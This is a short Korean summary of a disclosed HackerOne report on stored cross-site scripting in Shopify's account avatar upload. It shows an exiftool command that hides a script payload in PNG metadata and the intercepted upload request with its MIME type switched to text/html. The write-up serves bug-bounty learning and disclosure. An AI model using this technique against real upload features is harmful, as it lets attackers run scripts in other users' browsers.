hackerone-shopify-2020-08-l-964550
XSS Stored via Upload avatar PNG [HTML] File in accounts.shopify.com
https://accounts.shopify.com/accounts/<<아이디>> 에서 아바타를 변경하기 위해 이미지를 올리는 기능에 취약점이 있었다. 파일의 타입을 Content-Type 헤더를 기반으로 판단하였는데, 이를 변경하면 파일을 다른 타입으로 간주하게 할 수 있었다.
PNG 이미지에 exiftool을 이용해 XSS 페이로드를 넣고 이를 올린 후 직접 이미지 파일 URL로 접근하면 Stored XSS가 가능했다. PNG 파일을 HTML로 간주하고 접근해서 그런 듯.
exiftool -Comment="\"><script>alert(prompt('XSS BY ZEROX4'))</script>" xss_comment_exif_metadata_double_quote.png 와 같은 명령으로 페이로드를 넣었다.
이미지를 올리는 패킷을 잡아 MIME 타입을 image/png 에서 text/html 로 바꾼다.
POST /accounts/141376700 HTTP/1.1
Host: accounts.shopify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://accounts.shopify.com/accounts/141376700
Content-Type: multipart/form-data; boundary=---------------------------20426576427959059782120179951
Content-Length: 13530
Origin: https://accounts.shopify.com
DNT: 1
Connection: close
Cookie: device_id=; _identity_session; __Host-_identity_session_same_site=; _y=; _shopify_y=; _s=; _shopify_s=; _shopify_fs=; subdomain=myzero.myshopify.com; utag_main=; __cfduid=
Upgrade-Insecure-Requests: 1
-----------------------------20426576427959059782120179951
Content-Disposition: form-data; name="utf8"
â
-----------------------------20426576427959059782120179951
Content-Disposition: form-data; name="_method"
patch
-----------------------------20426576427959059782120179951
Content-Disposition: form-data; name="authenticity_token"
0HXXr+2RHm5QwSvfF4MkpkyouUXgM8Dl/xxxxxx+w+78GWOFVLxSqTOpswgegMl3DgEgKHsV5Qw==
-----------------------------20426576427959059782120179951
Content-Disposition: form-data; name="account[avatar]"; filename="xss_comment_exif_metadata_double_quote.png"
Content-Type: text/html
PNGtags: bughunting, shopify, wstg-busl-08, xss, stored-xss, wstg-inpv-02, severity low, web hacking